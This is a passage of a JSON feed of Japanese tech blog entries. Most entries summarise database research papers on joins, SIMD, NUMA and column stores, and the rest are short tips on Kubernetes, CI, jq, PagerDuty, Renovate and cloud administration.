実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。手法提案手法では比較ベースではなくハッシュベースの結合のため、2の「実行中に効率的に実行でき、ディスクのに永続化する必要のないパフォーマントインデックスを必要とする。」という要素の考慮を除いている。またオプティマイザについては既存のコストベースのものを拡張し適応している。提案手法では潜在的に成長している結合のカスケードを最悪の場合の最適結合に置き換えることで、最適化されたバイナリ結合計画を洗練させるヒューリスティックなアプローチを提案している。通常の結合順序最適化で使用されるのと同じカーディナリティ推定値に基づいて、中間テーブルが膨大になる結合を特定する。作業時間read22:1322:13author25:483:35summary52:5826:50感想とても難しい内容に感じてしまい、殆ど頭を通りすぎてしまった気がする。今まで最適化は触れずに来たため、理解が浅い領域だった。よくよく考えるとDBMSの話しに最適化が登場するのはあたりまえなので、今後はその方面にも触れて行きたい。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/12_worst_case_optimal_join","isoDate":"2023-04-26T02:06:46.000Z","dateMiliSeconds":1682474806000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"gptstudio = ChatGPT + RStudioがおもしろい","contentSnippet":"ChatGPTを使ってRStudio上でのコーディングを支援するgptstudioパッケージが登場しました。姉妹製品に[gpttoools]パッケージもあります。利用にはOpenAIのAPI Keyが必要にです。生成するトークンに対する従量課金制ですが、$5のお試し枠がついてます。","link":"https://blog.atusy.net/2023/04/26/gptstudio/","isoDate":"2023-04-26T00:00:00.000Z","dateMiliSeconds":1682467200000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"マルチコアメインメモリにおけるソートジョインとハッシュジョインのパフォーマンスを検証した論文を読みました","contentSnippet":"この記事の趣旨2013年に発表された\\"Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited\\"という論文を読みました。当時最新のアルゴリズムとハードウェアにおける、ソートとハッシュによる結合のパフォーマンスを比べた論文です。Multi-Core, Main-Memory Joins: Sort vs. Hash Revisited著者についてCagri Balkesen、Gustavo Alonso、Jens Teubner、M. Tamer Ozsuらのグループによる論文いずれもDBMSにおけるクエリ最適化やビッグデータにおけるパフォーマンスを研究している。またGustavo Alonsoはハードウェアや分散システムもメインのフィールドとしている。問題意識DBMSにおいて常にソートマージとハッシュ結合の性能比較が行われており、最新の研究ではSIMDやNUMAへの適正に基づいてソートマージがより優れていると結論づけられていた。しかしこれらの分野は常に研究が重ねられ、過去の検証時には登場していなったハッシュ結合の最適化手法が生れた。この論文ではそれらを適用し再度ソートマージとハッシュ結合の性能比較を行なう。手法本論文では以下に分けて結合手法の評価を行なっている。1. ソートフェーズの評価SIMDソートアルゴリズムとC++のSTLソートアルゴリズムを比較している。マージフェーズの評価入力サイズの調整によるマージフェーズの最適化パーマンスを検証している。ソートマージジョインにおける影響要因の特定結果結合対象のデータサイズに拘わらずハッシュによる結合がソートベースの結合のパフォーマンスを上回っている。Figure 14ソートマージによる結合は入力サイズが著しく大きくなったときのみハッシュ結合のパフォーマンスに近づく。Figure 15ソートマージ、ハッシュ結合におけるデータの偏りはパフォーマンスに大きな影響を及ぼさなかった。Figure 16いずれのアルゴリズムも物理的なコア数では線形にスケールした。Figure 17作業時間read23:1123:11author27:093:58summary60:1232:57","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/11_join_performance_comparison","isoDate":"2023-04-24T02:23:54.000Z","dateMiliSeconds":1682303034000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"RDBでの結合手法を比較した論文を読みました","contentSnippet":"この記事の趣旨2016年に発表された\\"An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory\\"という論文を読みました。様々な結合手法を包括的に比較した論文でどのような結合方法がどのような時に適しているかを示しています。An Experimental Comparison of Thirteen Relational Equi-Joins in Main Memory著者についてStefan Schuh、Xiao Chen、Jens Dittrichのグループによる論文。いずれもDBMSや分析システム、Hadoopなどにおける検索高速化・最適化の研究を行なっている。問題意識関係結合はほとんど全てのクエリプランにおいて中核をなす処理であり、定期的に研究・改良され再検討されてきた。新たな手法が提案され実験を行なわれるものの、それぞれ結果において比較を困難にする要素や幾らかの矛盾を孕んでいた。例えば同じハッシュベースの結合アルゴリズムの比較でも実装が異なったり、複数の論文でパフォーマンス比較で正反対の結果を示しているためである。そのため単純に論文執筆時点で最も高速な結合アルゴリズムを結論づけることが困難であった。手法本論文では結合方法を以下の3つに分類した1. パーティションベースハッシュジョインパーティションに分割し結合する手法。ハッシュテーブルの構築と結合されるデータの探索のキャッシュミスを最小にする事を目的としている。非パーティションベースハッシュジョインパーティションテーブルを構築しながら結合を行なう手法で、マルチスレッドと順番に依存しない実行によりキャッシュミスのパフォーマンス劣化を隠蔽している。ソートマージジョインSIMDによりベクトル化される。検証ではこれらの結合方法を以下の3つのテストで使用するために、全部で13のアルゴリズムを検証している。1. ブラックボックス比較ブラックボックス的に比較する。ホワイトボックス比較ブラックボックス比較で検証する結合方法に先行研究で示された最適化を施した上で比較を行なう。パラレルラディックスジョイン比較Table 2結果パーティション結合の一種であるリモート書込みを排除したCPR系アルゴリズムは小さな入力に対して有効ではないスケールの大きい結合ではとくに理由が無い場合、パーティションベースのジョインを利用する大きなサイズのページを利用するソフトウェアライトコンバインバッファ()を利用するパーティションジョインでは適切なパーティションビットを利用するできるかぎりシンプルなアルゴリズムを利用するNUMAを考慮したアルゴリズムを利用する実行時間とクエリ時間は同一ではない作業時間read31:3431:34author35:183:46summary77:5042:32","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/10_join_method_comparison","isoDate":"2023-04-23T14:16:28.000Z","dateMiliSeconds":1682259388000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"新卒2年目がAWS12冠を達成し、2つの賞を受賞するまで。","contentSnippet":"はじめに先日の2023 AWS Summit Tokyoで今年のAWSに関する受賞者が発表されました!各賞の詳細についてはこちら私は、2023/3月までに(新卒2年目で)12冠を達成したので、…","link":"https://qiita.com/yokoo-an209/items/0b9ca7b2eddbb586dcbc","isoDate":"2023-04-22T12:19:16.000Z","dateMiliSeconds":1682165956000,"authorName":"Annosuke Yokoo","authorId":"yokoo-an209"},{"title":"コンパイルとベクトル化による最適化のパフォーマンスを比較した論文を読みました","contentSnippet":"この記事の趣旨2018年に発表された\\"Everything You Always Wanted to Know AboutCompiled and Vectorized Queries But Were Afraid to Ask\\"という論文を読みました。最新のクエリエンジンの特性をまとめ、どのようなワークロードに向くのかという指針を示すないようです。Everything You Always Wanted to Know About Compiled and Vectorized Queries But Were Afraid to AskTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Boncz著者についてTimo Kersten, Viktor Leis, Alfons Kemper, Thomas Neumann, Andrew Pavlo, Peter Bonczのグループによる論文。いずれも大規模データにおけるクエリパフォーマスや最適化に関する研究を行なっている。問題意識分析ワークロードに向いた最新のクエリエンジンはベクトル化またはデータ中心のコード生成に基づいている。どちらのモデルも従来のエンジンに比べオーバーヘッドが少く、非常に効率的なものの概念的には大きく異なっている。この2つのモデルの違いは、DBMSの実行エンジンのソースコードの構成とその性能特性を決定する基本的なもので、クエリ実行モデルを超える多くの設計で異なる。本論文はことなる2つのモデルを再実装し、環境差異のないマシンで実行することでそれぞれのモデルがどのように違うのか。どのような用途に最適なのかを検証している。手法検証手法は著者らがC++で再実装したデータ中心モデルの「Taper」とベクトル化中心の「Tectorwise」を同一のマシンでパフォーマンス検証を行っている。検証項目は以下から成る1. インメモリOLAPワークロードでのマイクロアーキテクチャ分析1. SIMDの利点の検証1. マルチコアCPUにおけるクエリ並列化1. 異なるハードウェアでのパフォーマンス結果インメモリOLAPワークロードでのマイクロアーキテクチャ分析Figure 3: Performance – TPC-H SF=1, 1 threadSIMDの利点の検証SIMDを評価するにはTectorwiseのみを用いた。SIMDではスカラーなデータをベクトルに変換するペナルティは少く、最大8.4倍の性能向上が確認された。Figure 6: Scalar vs. SIMD Selection in TectorwiseマルチコアCPUにおけるクエリ並列化異なるハードウェアでのパフォーマンスIntel Skylake、Intel Knights Landing、AMD Ryzenで対照実験を行なったものの、いずれのハードウェアでもTyper、Tectorwiseともに有効に動作した。作業時間read29:2629:26author33:233:57summary76:3742:44感想VoectorwiseとHyperのいずれを使うべきか。どちらが優れているかといった疑問に答えるないようだった。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/9_compile_vs_vectorize_performance","isoDate":"2023-04-21T01:45:06.000Z","dateMiliSeconds":1682041506000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"ポリテクセンターのススメ","contentSnippet":"はじめに各都道府県には職業能力開発促進センター(ポリテクセンター)と呼ばれる職業訓練を行う施設があります。プログラマやインフラエンジニアになるためにここ数年スクールを受講するのが流行っていますが、今回はこのポリテクセンターをおすすめしたいと思います。ポリテクセンターでは求職者向け訓練と在職者向け訓練があります。求職者向け訓練はこれから会社に就職するために6ヶ月ほど訓練を受講します。在職者向け訓練はすでに会社に就職している人向けの1〜3日ほどの内容を絞った講座形式になります。 求職者向け訓練例えば神奈川県にあるポリテクセンター関東では以下の求職者向け訓練があります。...","link":"https://zenn.dev/satoken/articles/polytech-susume","isoDate":"2023-04-21T00:57:44.000Z","dateMiliSeconds":1682038664000,"authorName":"satoken","authorId":"satoken"},{"title":"Renovateをローカルで動かす","contentSnippet":"Renovateには様々な実行方法がありますが。ここではローカルで動かす方法について説明します。Renovateをクローンするhttps://github.com/renovatebot/renovateからクローンしましょう。これ以降はクローンしたリポジトリのルートディレクトリで作業します。実行環境コンテナ.devcontainer/Dockerfileをビルドします。docker build -f .devcontainer/Dockerfile -t renovatebot_local .Renovateの依存パッケージをインストールdocker run -it --rm -v \\"$PWD\\":/usr/src/app -w /usr/src/app renovatebot_local yarnローカル実行時のオプションドキュメントを参考に、引数を与えてください。ログレベルdebugでGitLabリポジトリに対して実行する場合は、以下のようになります。例:docker run -it --rm -v \\"$PWD\\":/usr/src/app -w /usr/src/app -e LOG_LEVEL=debug -e GITHUB_COM_TOKEN=*** renovatebot_local yarn start --platform gitlab --token *** {リポジトリ}※{リポジトリ}のところはユーザー名/リポジトリ名のような感じです。","link":"https://kechigon.hatenablog.com/entry/2023/04/20/140449","isoDate":"2023-04-20T05:04:49.000Z","dateMiliSeconds":1681967089000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文を読みました","contentSnippet":"この記事の趣旨2020年に提案された\\"Make the most out of your SIMD investments: counter control flowdivergence in compiled query pipelines\\"という論文を読みました。SIMDによるベクトル処理の最適化とRDBでの応用について扱った、最適化に関する論文です。Make the most out of your SIMD investments: counter control flow divergence in compiled query pipelinesHarald Lang, Linnea Passing, Andreas Kipf, Peter Boncz, Thomas Neumann, Alfons Kemper著者についてHarald Lang、 Linnea Passing、 Andreas Kipf、 Peter Boncz、 Thomas Neumann、 Alfons Kemperのグループによる研究いずれも最新のアーキテクチャでのクエリ最適化やデータ分析における検索手法などを研究している。問題意識CPUの発展にともないあたらしいCPUアーキテクチャが登場した。Single Instruction Multiple Data(SIMD)ではRDBはSIMDによるベクトル処理能力の向上により、クエリコンパイラの実行パイプライン全体をベクトル化して高度なデータ並列性の恩恵を受けることが出来るようになった。一方でクエリ全体をベクトル化して実行することで、SIMDによるクエリ評価が忙しくなる。SIMD評価で結果に寄与しない評価が単純にオーバーヘッドとなってしまう。手法本論文ではリフィルアルゴリズムとそのアルゴリズムをクエリパイプラインプランに統合する手法で上記の問題の解決を試みている。リフィルアルゴリズムは基本的に新しい要素を宛先レジスタの希望する位置にコピーするアルゴリズムで、メモリからレジスタとレジスタからレジスタへのコピーの2パターンが存在する。クエリパイプラインプランに統合するリフィル戦略ではConsume EverythingパターンとPartial Consumeパターンが存在する。Consum Everything戦略は、タプルをバッファリングするために使用される追加のベクターレジスタを割り当てる方法で利用率が低い場合、オペレータはこれらのタプルの処理を延期する。つまり、この反復ではボディは実行されず(条件が満たされない場合)、代わりにアクティブなタプルがこれらのバッファレジスタに移動することになる。Partial Consume戦略ではconsume()コードを入力の一部に適用する方法で、制御フローを前のオペレータに戻し、アクティブなデータ断片のみをベクトルレジスタに残すことで実行を延期している。作業時間read29:4029:40author33:404:00summary60:0426:36感想前回に引続き個人的には難しいと感じる論文だった。2000年前後の提案にくらべ、2015年前後の論文ではハードウェアアーキテクチャを中心とした手法がピックアップされている。単純に自分の知識不足、理解力不足なので勉強するしかない。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/8_counter_control_flow_divergence_in_compiled_query_pipelines","isoDate":"2023-04-20T02:00:20.000Z","dateMiliSeconds":1681956020000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Markdownのコードブロックとかテキストの文脈に合わせて背景色を変えるtsnode-marker.nvimを作った","contentSnippet":"2023/04/19のVim駅伝記事です。Neovimはtreesitterを使ってテキストファイルをパースする機能を備えています。代表的な用例は、パース結果に基くシンタックスハイライトですが、文法に従った範囲を取得できるので、コードの折り畳みや、テキストオブジェクトにも活躍します。","link":"https://blog.atusy.net/2023/04/19/tsnode-marker-nvim/","isoDate":"2023-04-19T00:00:00.000Z","dateMiliSeconds":1681862400000,"authorName":"Atsushi Yasumoto","authorId":"atusy"},{"title":"NUMAアーキテクチャでのクエリ最適化に関する論文を読みました","contentSnippet":"この記事の趣旨\\"Morsel-Driven Parallelism: A NUMA-Aware Query Evaluation Framework forthe Many-Core Age\\"という2014年に発表された、多コアサーバにおけるクエリ最適化手法をあつかった論文を読みました。[Morsel-Driven Parallelism: A NUMA-Aware QueryEvaluation Framework for the Many-Core Age](https://15721.courses.cs.cmu.edu/spring2023/papers/07-scheduling/p743-leis.pdf)Viktor Leis, Peter Boncz, Alfons Kemper, Thomas Neumann著者についてViktor Leis、 Peter Boncz、 Alfons Kemper、Thomas Neumannのグループによる研究いずれもデータベースと 高速化かを中心に研究している。問題意識コンピュータアーキテクチャの進化にともない、二つのあたらしい問題が生じた。多コアを利用するためにクエリを数百のスレッドに均等に分散させるそれをNUMA(Non-Uniform Memory Access)による順序通りではないメモリアクセスで実現する必要がある。これらの要因からplanベースの並列処理による不可分散とコンテキストスイッチとボトルネックが問題になりスケールが難しかった。NUMAによってデータとアクセススレッドがどのチップに配置されるかによって、データ項目のアクセスコストが異なるため、コンピュータ自体がネットワークになっており、多コア並列化では、RAMやキャッシュ階層を考慮する必要がある。この論文ではMoral-drivenクエリ実行フレームワークを提案している。手法提案手法は並列クエリ処理のため、morselドリブンクエリ評価フレームワークを提示した。これはメニーコア時代の分析クエリ性能の主要なボトルネックである負荷分散、スレッド同期、メモリアクセス局所性およびリソース弾力性を解決することを目的としている。ベースとなるアイデアは以下の2つに分けられる。メモリ上のデータをmorselと呼ばれる小さなバッチに分割し、バッチごとに処理を実行したあとにそれぞれの処理結果をグローバルハッシュテーブルとしてまとめる。Figure 3: NUMA-aware processing of the build-phaseディスパッチャと呼ばれる並行パイプライン制御を行ない、ワーカースレッドをタスクに割り当てるFigure 5: Dispatcher assigns pipeline-jobs on morsels to threads depending on the coreまとめとして著者はきめ細かいスケジューリング、完全演算子並列化、低オーバーヘッド同期、NUMA対応スケジューリングの原理を用いて、他のシステムでもメニーコアスケーリングを改善できると示唆している。作業時間read28:3628:36author32:453:09summary60:3727:52感想近現代のサーバアーキテクチャで主流になっているNUMAでのクエリパフォーマンス向上のための論文のため、古典的なものに比べ概念が難しいものが多い。もう少し理解を深めたい。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/7_numa_aware_query_evaluation_framework","isoDate":"2023-04-18T01:01:35.000Z","dateMiliSeconds":1681779695000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"おうちk8sクラスターを構築していて詰まったところ","contentSnippet":"おうち Kubernetes インターンを参考に機材調達->OSインストール->kubeadamでクラスター構築と一通りやってみたので、トラブったところと解決策を共有します。USBメモリRaspberry PiにOSをインストールする際に、SDカードの性能が悪いと失敗します。私は安物で済ませようとした結果、三枚目でようやく成功しました。またインストール後も、ディスクの読み書き速度は全体のパフォーマンスに影響を与えるので、性能にはこだわるべきです。以下のサイトなどを参考に選びましょう。https://www.kingston.com/jp/blog/personal-storage/memory-card-speed-classeshttps://osusumepc.com/raspberry-pi-microsd/cgroups の Memory Subsystem を有効化私がインストールしたOSでは、cgroups の Memory Subsystem がデフォルトで無効化されているため、/boot/firmware/cmdline.txtに下記を追加する必要がありました。cgroup_memory=1 cgroup_enable=memoryしかし、編集し再起動しても有効化されませんでした。原因は改行を入れて追加していたことでした。改行せず行末に追加するのが正しいです。","link":"https://kechigon.hatenablog.com/entry/2023/04/17/174444","isoDate":"2023-04-17T08:44:44.000Z","dateMiliSeconds":1681721084000,"authorName":"Kurita Keigo","authorId":"kurita"},{"title":"列指向DBMSにおけるデータを提案した論文を読みました","contentSnippet":"この記事の趣旨\\"MonetDB/X100: Hyper-Pipelining Query Execution\\"という2005年に発表された、列指向DBMSを提案した論文を読んでいきます。分析ワークロード向けRDBMSにおける初期実装であるMonetDBを扱った論文で、提案時期が2005年と古くはあるものの現代のDWHの礎となる内容です。MonetDB/X100: Hyper-Pipelining Query ExecutionPeter Boncz, Marcin Zukowski, Niels Nes著者についてPeter Boncz、Marcin Zukowski、Niels Nseのグループによる論文。いずれの著者も機械学習や分析におけるDBMSについて研究している。問題意識2005年当時のDBMSは他のアプリケーションに比べ、IPCが低くなる傾向にあった。原因はほとんどのDBMSがコンパイラの最適化を阻害する実装だったためである。これはRDBMSが実装された当時に比べCPUやコンパイラが発達したためで、この論文ではC-store DBMSであるMonetDBと従来のR-store DBMSをそれぞれTPC-Hで評価を行い、パフォーマンス阻害要件と最適化方法を提案している。手法CPUによるIF文の処理方法はDBMSにとっては選択性が低く、そういった実行は予測不可能でありクエリ実行を著しく劣らせた。提案手法ではMonetDB/X100として効率的なシーケンシャルアクセスに向けた、C-storeストレージとクエリエンジンを実装した。RAMは提案手法のデータアクセスと同様の方法で圧縮して保存し、Cacheではなベクトル化された処理にもとづくパイプライン実装を使用した。CPUにおいてもベクトル型における式計算を提供し、コンパイラが高効率な処理を生成した。結果として提案手法は従来のDBMS実行に比べTPC-Hで優れた性能をしめした。作業時間read21:3221:32author29:007:28summary56:2027:20感想2005年と古く、またVolcano-likeなど知らない概念も登場した。提案内容としては現代のDWHが採用しているものだった。論文外の感想今回本文を読む時間を大幅に短くしてみたが、それにともない理解度も低下した気がする。やっぱり30分以上で読むのがよさそう。","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/6_hyper_pipelining_query_execution","isoDate":"2023-04-17T01:16:56.000Z","dateMiliSeconds":1681694216000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"列指向DBMSにおけるデータ圧縮手法の論文を読みました","contentSnippet":"この記事の趣旨\\"Integrating Compression and Execution in Column-Oriented Database Systems\\"という2006年に発表されたそれまで行指向DBMSで培われてきた圧縮方法による、検索高速化手法を列指向DBMSに適用・評価した論文を読んで行きます。Integrating Compression and Execution in Column-Oriented Database SystemsDaniel J. Abadi, Samuel R. Madden, Miguel C. Ferreira著者についてDaniel J. Abadi、Samuel R. Madden、Miguel C. Ferreiraのグループ。それぞれDBMSやデータ分析に関連する手法やパフォーマンスについて研究している。問題意識2006年ごろの研究ということもありC-storeデータベースの研究が少なかった時期の論文。既に検索パフォーマンスに寄与することがしられていたR-storeデータベースの圧縮手法を、C-storeへ応用や評価を行なった。手法提案手法は以下の圧縮技術の組み合わせからなる。Null圧縮辞書エンコーディングRun Lengthエンコーディングビットベクターエンコーディングエンコーディングで、それぞれのカテゴリに属するかどうかをバイナリで表現する圧縮方法Lempel-ZivエンコーディングGZIPでも使用されている圧縮方式。データの非重複ブロックを解析して既存のデータは対応するブロックへのポインタに、それ以外のみを新規に追加する。提案手法は圧縮方式が増えてもアクセスパターンをシンプルに留めるためにアクセス方法をAPIとして隠蔽した。そのため異なるエンコーディングも同一のAPIで保存でき、同一のAPIでも取得できる。当然ながら一つのエンコーディングで全てのデータに対応することは難しく、論文では使用すべき圧縮スキームの選び方を以下のようにまとめている。Figure10感想C-storeにおける古典的な圧縮手法がまとまった論文だった。近代DWHを利用する側では意識することが少ない部分だったためあたらしい知識も多かった。作業時間read26:5026:50author33:306:40summary58:2024:50","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/5_integrating_compresison_and_execution_in_cstore_dbms","isoDate":"2023-04-16T02:58:29.000Z","dateMiliSeconds":1681613909000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Column Sketchesというindex手法の論文を読みました","contentSnippet":"この記事の趣旨前回と同様にCMU Advanced Databas Systems Spring2023のReading Assignmentとして出ている論文を読んで行きます。最近論文を読めてなかったのですが、この記事でモーベーションが上がったので再開しました。ころころやり方を変えるのはよろしくないものの、モチベーションのために先の記事のやり方でやります。今回はColumn Sketchという名前のIndex手法を提案した論文です。Lossy Compressionを採用した当手法がどのように、高速で堅牢な検索を実現しているのかについて述べています。Column Sketches: A Scan Accelerator for Rapid and Robust Predicate EvaluationBrian Hentschel, Michael S. Kester, Stratos Idreos著者についてBrain、Michael、Stratosのグループによる論文。いずれも機械学習とデータアクセスについて研究している。問題意識既存のindex手法ではそれぞれに得意/不得意があり多くのアクセスパターンに対応できる方法がなかった。またデータ分析で用いられるような列指向ストレージに対応しているものが少なかった。Column SketchはデータをLossy Compressionを使用してindexを作成する手法でこれらの問題を解決した。手法提案手法はデータを任意のbit長に変換し、bitで表わされたデータに対して初回の検索を行なうことで大幅に検索速度を向上させた。またこの手法は数値型のみではなく、varcharなどで表わされたカテゴリカルタイプを数値として扱うことで、データ分析に必要なデータタイプに対応している。提案手法は8bit数値型であれば以下のようなマッピングによって達成される。for x, y ∈ I8, S (x) ≠ S (y) ⇒ x ≠ yfor x, y ∈ I8, S (x) < S (y) ⇒ x < y以下の図は8bitデータに対してWHERE x < 90がどのようにindex作成され評価されるかの例である。Figure2: Column Sketchindex作成段階では数値をレンジベースで任意の個数のbitに圧縮する。そして評価時には90を含むデータより大きい値をすべて取得し、90を含むレンジに対しては個別に評価を行なう。感想読んでいる段階では数値型のみに対応したindexであれば、B-treeで十分ではないかと思ったものの読み進めていくと限定的ながらも文字型にも対応していて、分析用途では必要な機能が備わっているなと思った。全文テキスト検索のような用途には応用が難しそうで、銀の弾丸はないなと感じた。作業時間read27 min27 minauthor32 min5 minsummary58 min26 min論文以外への感想今回採用した論文の読み方をやってみた思ったのは事前に1時間で読んでまとめるぞと決めたことで随分集中して論文を読めました。あと今まで論文を原文で読まなきゃという個人的な使命感があったのですが、翻訳することで随分効率があがったので今後は翻訳してしまおうと思いました。Readableは文末のrea-dableのような表記や翻訳されない部分(おそらく数式を含む文章?)があるものの、フォーマットが維持されているため原文と照しあわせながら読めば非常に効率がよかったです。毎日論文読むなら正直買いです。毎日論文読みたいので課金しました。がんばるぞ!","link":"https://nnaka2992.hatenablog.com/entry/cmu_reading_assignments/4_column_sketch","isoDate":"2023-04-15T04:09:38.000Z","dateMiliSeconds":1681531778000,"authorName":"NAKADATE Naoki","authorId":"nnaka2992"},{"title":"Kubernetes の Probe の仕組みと考慮点","contentSnippet":"!Kubernetes 1.26 時点の話で、以降のマイナーバージョンで改善されている可能性があります。Kubernetes には、ワークロードの正常性を確認するための Probe という仕組みがあり、Liveness / Readiness / Startup Probe が用意されています。kubelet (Kubernetes のノード上で動作するエージェント) は、ワークロードに対して TCP Socket / HTTP GET / gRPC / Exec の中から指定されたチェックを定期的に実行します。それぞれの Probe の特性を理解して使い分けないとサービスに影響...","link":"https://zenn.dev/toversus/articles/5d1292160f5035","isoDate":"2023-04-10T02:20:29.000Z","dateMiliSeconds":1681093229000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"GitLab CI で artifacts:reports:dotenv を使って Job をまたいで変数を渡す","contentSnippet":"GitLab CI である Job で変数を定義して、それを後続の Job でも使いたいなと思って調べていたら artifacts:reports:dotenv にたどり着いたのでメモ。 以下、使用例 stages: - stage1 - stage2 - stage3 - stage4 job1: stage: stage1","link":"https://blog.1q77.com/2023/04/gitlab-ci-artifacts-report-dotenv/","isoDate":"2023-04-04T16:27:22.000Z","dateMiliSeconds":1680625642000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Orbstack を Docker Desktop の代わりに使う","contentSnippet":"きっかけ brew update して新しく追加された formula を眺めるのが最近のちょっとした楽しみ — yteraoka (@yteraoka) January 12, 2023 で、orbstack っていう formula が追加されてるのを見てほー、","link":"https://blog.1q77.com/2023/04/orbstack/","isoDate":"2023-04-04T13:17:51.000Z","dateMiliSeconds":1680614271000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"kube-proxy の externalTrafficPolicy=Local の改善","contentSnippet":"tl;dr;Service type LoadBalancer の externalTrafficPolicy: Local は、Kubernetes 1.26 まで Pod のローリング更新時にトラフィックが喪失する問題があるので注意kubernetes-sigs/cloud-provider-kind は、ローカル環境でクラウドリソース (現在は LB のみ) が絡む処理をシミュレートできて便利GKE Dataplane v2 を利用している場合、GKE 1.26.1 時点で Cilium に externalTrafficPolicy: Local の改善が入ってい...","link":"https://zenn.dev/toversus/articles/6eeb3b708bdff3","isoDate":"2023-03-29T01:31:20.000Z","dateMiliSeconds":1680053480000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"PagerDuty で一定期間アラートを抑制する","contentSnippet":"PagerDuty でアラートを受け取っているプロジェクトで,以下のようにある時間帯はアラートを止めたいケースがあります。メンテナンスが予定されている。開発環境は営業時間内だけ動かすので,平日夜や土日祝日は止めたい。何も対策しないとアラートが鳴ってしまい,オンコール担当者を不用意に呼び出す結果になるので,そうならないようにきちんと設定します。 TL;DR各ケースで以下のように設定します。メンテナンス→メンテナンスウィンドウを設定平日夜・土日停止→曜日・時刻ベースのイベントルールを追加 方法1:メンテナンスウィンドウメンテナンスなどでダウンする時間帯があらかじ...","link":"https://zenn.dev/toshikish/articles/6958af565e6c65","isoDate":"2023-03-27T08:38:39.000Z","dateMiliSeconds":1679906319000,"authorName":"toshikish","authorId":"toshikish"},{"title":"jq commandの select でハマった話","contentSnippet":"結論配列のjsonに対してselectする際には、配列を一度オブジェクトの抽出をしないと複製されてしまう。なので、以下ではなくjq -r \'select(.[].A | contains(\\"特定文字列\\")) | .[].B\' test.jsonこうしないといけないjq -r \'.[] | select(.A | contains(\\"特定文字列\\")) | .B\' test.json 環境$ jq --version jq-1.6 詰まった内容以下のjson(test.json)があったときにtest.json[ { \\"hog...","link":"https://zenn.dev/satohjohn/articles/79faafa55e9a1e","isoDate":"2023-03-25T16:36:44.000Z","dateMiliSeconds":1679762204000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"ふと、思いだしたときに確認するって大事ですね、という話","contentSnippet":"本日、こんなお知らせが流れてきた。We updated our RSA SSH host key「そういえば、プライベートのPCでRSA使ってた…」と思い出したので、確認。$ ssh -T git@github.com@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@IT I...","link":"https://zenn.dev/nedoko_dok0dko/articles/174811e1685df2","isoDate":"2023-03-24T13:27:59.000Z","dateMiliSeconds":1679664479000,"authorName":"seno","authorId":"seno"},{"title":"Kubernetes と名前解決","contentSnippet":"tl;dr外部サービスのホスト名の末尾に . (ドット) を必ず指定しましょう。✅\xa0google.com.❌\xa0google.com末尾にドットを指定できない (e.g. SDK 組み込み) かつ大量の名前解決が発生している場合は、Pod の DNS Config の options で ndots: 1 を指定しましょう。Kubernetes の名前解決の仕組みを理解していないと、各ノードの conntrack テーブルが溢れてパケットが破棄され、サービスに影響が出ることがあります。 背景アプリケーションが外部のサービスを呼び出す場合、ホスト名を IP アド...","link":"https://zenn.dev/toversus/articles/d9faba80f68ea2","isoDate":"2023-03-22T07:36:38.000Z","dateMiliSeconds":1679470598000,"authorName":"Tsubasa Nagasawa","authorId":"toVersus"},{"title":"cloud runの要らなくなったリビジョンを消す","contentSnippet":"小ネタです。運用をしていて、たくさんリリースしているとリビジョンが増えていることとかもあるかなと思いますが、コンソール上から消すのも面倒なので、コマンドで消しましょう。というか、解説することもないので、結論と詰まった部分だけ残しておきます。 結論 ACTIVEじゃないものをすべて消す#!/bin/bashSERVICE_NAME=$1revisions=$( gcloud run revisions list --service=$SERVICE_NAME \\\\ --filter=\\"status.conditions.type:Active AND s...","link":"https://zenn.dev/satohjohn/articles/2a769b8280427d","isoDate":"2023-03-21T02:35:43.000Z","dateMiliSeconds":1679366143000,"authorName":"SatohJohn","authorId":"SatohJohn"},{"title":"Datadog Agent からの Metrics を Victoria Metrics で受ける","contentSnippet":"Victoria Metrics は v1.67.0 で Datadog Agent からのメトリクスを受け取れるようになっているので今回はこれを試してみる。 Victoria Metrics のドキュメント How to send data from DataDog agent Single node Instance をセットアップ Victoria","link":"https://blog.1q77.com/2023/03/send-datadog-metrics-to-victoriametrics/","isoDate":"2023-03-19T12:38:04.000Z","dateMiliSeconds":1679229484000,"authorName":"yteraoka","authorId":"yteraoka"},{"title":"Azure Bicep で Storage Account の SSE を設定する","contentSnippet":"Azure Bicep で Storage Account の SSE (サーバー側暗号化) を設定してみようとしたところ、思ったより難しかったのと、やりたいことそのままのサンプルコードがなかったため、調査した内容を公開してみます。 この記事で書いてあることAzure Bicep を使用して Storage Account の SSE を設定する方法 サンプルコード早く使い方とコードを見たい、という方向けにまずはサンプル コードについて記載します。この記事で説明するサンプル 